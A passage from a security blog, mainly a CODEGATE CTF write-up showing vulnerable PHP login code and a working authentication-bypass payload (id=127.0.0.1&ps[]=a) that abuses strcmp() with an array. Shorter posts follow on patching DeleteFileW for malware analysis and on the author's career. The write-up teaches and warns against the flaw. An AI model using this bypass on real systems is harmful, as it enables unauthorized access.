<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY0jJg_Xv-vDSd-D7_ecl-b_FbSp_Jbhg0FP4Bimr67WVH6o6UhY7cJUZcbZYNbNzbrZOzJs_QRD-Fcq7wVmckXDBBi_NPnJCpCsnRo5aOc8B6HK8PCl380hupUfjTHZcHI7fNNkFDwiKr/s1600/otp_issue.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY0jJg_Xv-vDSd-D7_ecl-b_FbSp_Jbhg0FP4Bimr67WVH6o6UhY7cJUZcbZYNbNzbrZOzJs_QRD-Fcq7wVmckXDBBi_NPnJCpCsnRo5aOc8B6HK8PCl380hupUfjTHZcHI7fNNkFDwiKr/s640/otp_issue.png" height="196" width="400" /></a></div>
<br />
So, then I clicked on "Login" option (see first image above) and below POST data was sent:<br />
<br />
<span style="color: lime;">id=</span><span style="color: red;">208.54.39.160</span><span style="color: lime;">&ps=</span><span style="color: red;">69b9a663b7cafaca2d96c6d1baf653832f9d929b</span><br />
<br />
Which gave me access to the web site (line 6 in the code below):<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK9whK4304NE6TnN3KhYwySbw7b4d1SASXtmEVKJQhzs1FD1zLKf1CrCj8eZTI9c5vJE-vqLnHjzz8AsbzAZSQfWGznpHro7GjdbWivlKiWMjUfqzAT57GiTMAkJbefIy4Nf-1KZ3ekoOf/s1600/welcome.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK9whK4304NE6TnN3KhYwySbw7b4d1SASXtmEVKJQhzs1FD1zLKf1CrCj8eZTI9c5vJE-vqLnHjzz8AsbzAZSQfWGznpHro7GjdbWivlKiWMjUfqzAT57GiTMAkJbefIy4Nf-1KZ3ekoOf/s320/welcome.png" height="105" width="320" /></a></div>
But we cannot reach line 9 (see code below) in order to get the flag since the IP in the "id" parameter was different. Let's analyze the script that handles the Login Form (login_ok.php):<br />
<br />
<br />
<span style="color: lime;">1. $flag = file_get_contents($flag_file);</span><br />
<span style="color: lime;"> </span><br />
<span style="color: lime;">2. if (isset(</span><span style="color: red;">$_POST["id"</span><span style="color: lime;">]) && isset(</span><span style="color: red;">$_POST["ps"]</span><span style="color: lime;">)) {</span><br />
<span style="color: lime;">3. $password = make_otp(</span><span style="color: red;">$_POST["id"]</span><span style="color: lime;">);</span><br />
<span style="color: lime;">4. sleep(3); // do not bruteforce</span><br />
<span style="color: lime;">5. if (</span><span style="color: yellow;">strcmp</span><span style="color: lime;">(</span><span style="color: red;">$password</span><span style="color: lime;">, </span><span style="color: red;">$_POST["ps"]</span><span style="color: lime;">) == </span><span style="color: yellow;">0</span><span style="color: lime;">) {</span><br />
<span style="color: lime;">6. echo "welcome, </span><b><span style="color: lime;">".</span><span style="color: red;">$_POST["id"]</span></b><br />
<span style="color: lime;">8. if (</span><span style="color: red;">$_POST["id"]</span><span style="color: lime;"> == "</span><span style="color: red;">127.0.0.1</span><span style="color: lime;">") {</span><br />
<span style="color: lime;">9. </span><span style="color: yellow;">echo "Flag:".$flag</span><br />
<span style="color: lime;"> } </span><br />
<span style="color: lime;"> } else {</span><br />
<span style="color: lime;"> echo "alert('login failed..')";</span><br />
<span style="color: lime;"> } </span><br />
<span style="color: lime;"> } </span> <br />
<div>
<br /></div>
<br />
<b><span style="font-size: large;">Test case 1: Spoofing Client IP Address:</span></b><br />
<br />
So, the first thing that came to my mind in order to get the flag (line 9) was to send "127.0.0.1" in the "id" parameter, so, let's analyze the function make_otp() which calculates the password:<br />
<br />
<br />
<span style="color: lime;"> $flag_file = "flag.txt";</span><br />
<span style="color: lime;"><br /></span>
<span style="color: lime;"> function make_otp($user) {</span><br />
<span style="color: lime;"> // acccess for 20secs.</span><br />
<span style="color: lime;"> $time = (int)(time()/20);</span><br />
<span style="color: lime;"> $seed = md5(file_get_contents($flag_file)).md5($_SERVER['HTTP_USER_AGENT']);</span><br />
<span style="color: lime;"> $password = sha1($time.$user.$seed);</span><br />
<span style="color: lime;"> return $password;</span><br />
<span style="color: lime;"> }</span><br />
<div>
<br /></div>
<div>
As we can see in the code above, the function make_otp receives the "id" parameter in the $user variable and is used to calculate the password, so, by following this approach, we will not be able to pass line 5 since we need a password for the IP 127.0.0.1, and we can only request passwords based on our external IP via "OTP Issue" option as explained above, so, how can we get one? What if we try to find a vulnerability in the code related to "OTP Issue" option? </div>
<br />
So, since "OTP Issue" is reading the IP based on the environment variable <b><span style="color: red;">"REMOTE_ADDR"</span></b> we could try to spoof our external IP address as if we were connecting from 127.0.0.1, but unfortunately it is not a good option, although spoofing could be possible, it is only an one way communication so we would not get a response from the Server, so at this point, we need to discard this approach.<br />
<br />
<b><span style="font-size: large;">Test case 2: Bruteforcing the password</span></b><br />
<br />
By looking at the make_otp() function shown above, the only data we do not know in the password calculation process, is the content of $flag_file (obviously), so, assuming that the content of that file is less than 4-5 characters and therefore have a chance to bruteforce the MD5 hash, we only would have 20 seconds to guess it, and due to the sleep(3) command (see line 4 above), we could only guess 6 passwords before the password expires and therefore we definitely drop bruteforcing approach off the table.<br />
<br />
<b><span style="font-size: large;">Test case 3: Bypassing strcmp() function</span></b><br />
<br />
After analyzing the two cases described above I started "googling" for "strcmp php vulnerabilities" but did not find anything, then, by looking at <a href="http://php.net/manual/en/function.strcmp.php" target="_blank">PHP documentation</a> and realized this function has only three possible return values:<br />
<br />
<i><span style="color: lime;">int strcmp ( string $str1 , string $str2 )<br />Returns </span><span style="color: red;">< 0</span><span style="color: lime;"> if str1 is less than str2; </span><span style="color: red;">> 0</span><span style="color: lime;"> if str1 is greater than str2, and </span><span style="color: red;">0</span><span style="color: lime;"> </span><span style="color: yellow;">if they are equal.</span></i><br /><span style="background-color: #eeeeff; font-family: verdana, arial, helvetica, sans-serif; font-size: 14px;"><br /></span>
Obviously, we need to find a way to force strcmp to return 0 and be able to bypass line 5 (see above) without even knowing the password, so, I started wondering what would be the return value if there is an error during the comparison? So, I prepare a quick test comparing str1 with an Array (or an Object) instead of another string:<br />
<br />
<br />
<span style="color: red;">$fields = array</span><span style="color: lime;">(</span><br />
<span style="color: lime;"> 'id' => '127.0.0.1',</span><br />
<span style="color: lime;"> 'ps' => 'bar'</span><br />
<span style="color: lime;">);</span><br />
<span style="color: lime;">$a="danux";</span><br />
<span style="color: lime;"> if (</span><span style="color: yellow;">strcmp</span><span style="color: lime;">($a,</span><span style="color: red;">$fields</span><span style="color: lime;">) == 0){</span><br />
<span style="color: lime;"> echo " </span><span style="color: orange;">This is zero!!</span><span style="color: lime;">";</span><br />
<span style="color: lime;"> }</span><br />
<span style="color: lime;"> else{</span><br />
<span style="color: lime;"> echo "This is not zero";</span><br />
<span style="color: lime;">}</span><br />
<div>
<br /></div>
<br />
And got below warning from PHP:<br />
<br />
<span style="color: red;">PHP Warning: strcmp() expects parameter 2 to be string, array given in ...</span><br />
<br />
But guess what?Voila! it also returns the string "<span style="color: orange;">This is zero!!</span>" In other words, it returns 0 as if both values were equal.<br />
<br />
So, the last but not least step is to send an Array in the "ps" POST parameter so that we can bypass line 5, after some research and help from my friend Joe B. I learned I can send an array this way:<br />
<br />
<span style="color: lime;">id=</span><span style="color: red;">127.0.0.1</span><span style="color: lime;">&amp</span>;<span style="color: red;">ps</span><span style="color: yellow;">[]</span><span style="color: lime;">=a</span><br />
<br />
Notice that instead of sending "&ps=a", I also send the square brackets <span style="color: yellow;">[]</span> in the parameter name which will send an array object!! Also, notice that I am sending "id=127.0.0.1" so that I can get to the line 9.<br />
And after sending this POST request...<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6_u2EFcAhVF6Ll50wBBqfOEczTvOQ_auFiJJlXKvQVVy9N73Og5QCDUYZzYahuUyg8vKWKKXon8IyZlmcHndvC3vrb-WxqYINMBAJKXl5Yv2zdkaBl2nay1x3qxZFl0EWlSkQrA5gl691/s1600/web200.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6_u2EFcAhVF6Ll50wBBqfOEczTvOQ_auFiJJlXKvQVVy9N73Og5QCDUYZzYahuUyg8vKWKKXon8IyZlmcHndvC3vrb-WxqYINMBAJKXl5Yv2zdkaBl2nay1x3qxZFl0EWlSkQrA5gl691/s640/web200.png" height="360" width="640" /></a></div>
<br />
<b><span style="font-size: large;">Conclusion:</span></b><br />
<br />
I tested this vulnerability with my local version of PHP/5.3.2-1ubuntu4.17, I do not know the version running in the CTF Server but should be similar.<br />
After this exercise, I would suggest you all make sure you are not using strcmp() to compare values coming from end users (via POST/GET/Cookies/Headers, etc), this also reminds me the importance of not only validate parameter values BUT also parameter names as described in on of my previous blogs <a href="http://danuxx.blogspot.com/2012/07/postget-parameters-name-injection.html" target="_blank">here</a>.<br />
<br />
Hope you enjoy it.<br />
<br />
Thanks to CODEGATE Team to prepare those interesting challenges!Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com14tag:blogger.com,1999:blog-4984553587728477254.post-77035835642688847022012-12-22T01:08:00.000-08:002012-12-22T01:08:02.430-08:00Preventing Malware from deleting files: The quick and dirty way.<br />
One of the common behaviors of Malware is to infect system processes in order to preserve access to the Machine or to run malicious actions silently, this can be accomplish by loading new drivers (kernel mode) or DLLs (user mode), which requires a physical file to be dropped into the file system and therefore, as soon as the driver/dll is loaded in memory, the malicious file is deleted, giving no chance to the Analyst to reverse it.<br />
<br />
Any integrity-check tool (WinAnalysis, FileMon) will report those different files being dropped into the filesystem but how can we recover them? Assuming that Malware also uses many tricks to prevent tools like NTFSUndelete to recover deleted files. This means, the approach to recover the files after infection is not the recommended solution, instead we need to prevent the file from being deleted.<br />
<br />
Then we have the sexy, advanced and recommended way to do this, by using API Hooking techniques, but unfortunately, you will need knowledge of Windows APIs, Memory Management, Processes creation, Microsoft Detours, Development, etc, so go for it, on the other hand is the dirty, not sexy and ugly way, but fast, easy and without to much knowledge, we just need to patch DeleteFileW API in Kernel32.dll in order to prevent any file in the system from being removed, play a little bit with WFP (Windows File Protection) in order to replace Kernel32.dll with our patch version and voila!!!<br />
<br />
Enjoy it.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/VpxOBQjE3fE?feature=player_embedded' frameborder='0'></iframe></div>
Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com0tag:blogger.com,1999:blog-4984553587728477254.post-81609736013153737062012-10-14T23:44:00.000-07:002012-10-20T02:13:00.194-07:00Como llegue a uno de los equipos de Seguridad mas reconocidos en el Mundo.<br />
Definitivamente, el hecho de llegar al equipo de Seguridad (Security Response Team) de Symantec encargado en combatir los virus y todo tipo de codigo malicioso a nivel mundial ha sido el mayor logro en mi carrera profesional, pero no hubiera sido posible llegar con mi propio esfuerzo, la mano de Dios estubo alli conmigo todo el tiempo y es una experiencia que quiero dejar para la eternidad. Aqui, la cronologia de los hechos.<br />
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>EN-US</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><br />
<!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin-top:0in;
mso-para-margin-right:0in;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0in;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
</style>
<![endif]-->
<br />
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Nota: Perdon por la falta de acentos, mi teclado esta en ingles y ni como agregarlos :-) </div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<span style="color: lime;"><b>Mayo 31, 2012. 9:00 AM:</b></span> </div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Solo como contexto, este dia 31 es mi cumplea<span class="short_text" id="result_box" lang="es"><span class="hps">ñ</span></span>os y yo estaba
siendo entrevistando en Microsoft! Si, en Redmond Seattle, fue una experiencia
padrisima pero al final no hubo interes para contratarme, en este tiempo yo
estaba buscando dar un salto a una compa<span class="short_text" id="result_box" lang="es"><span class="hps">ñi</span></span>a grande, de echo, tambien tuve
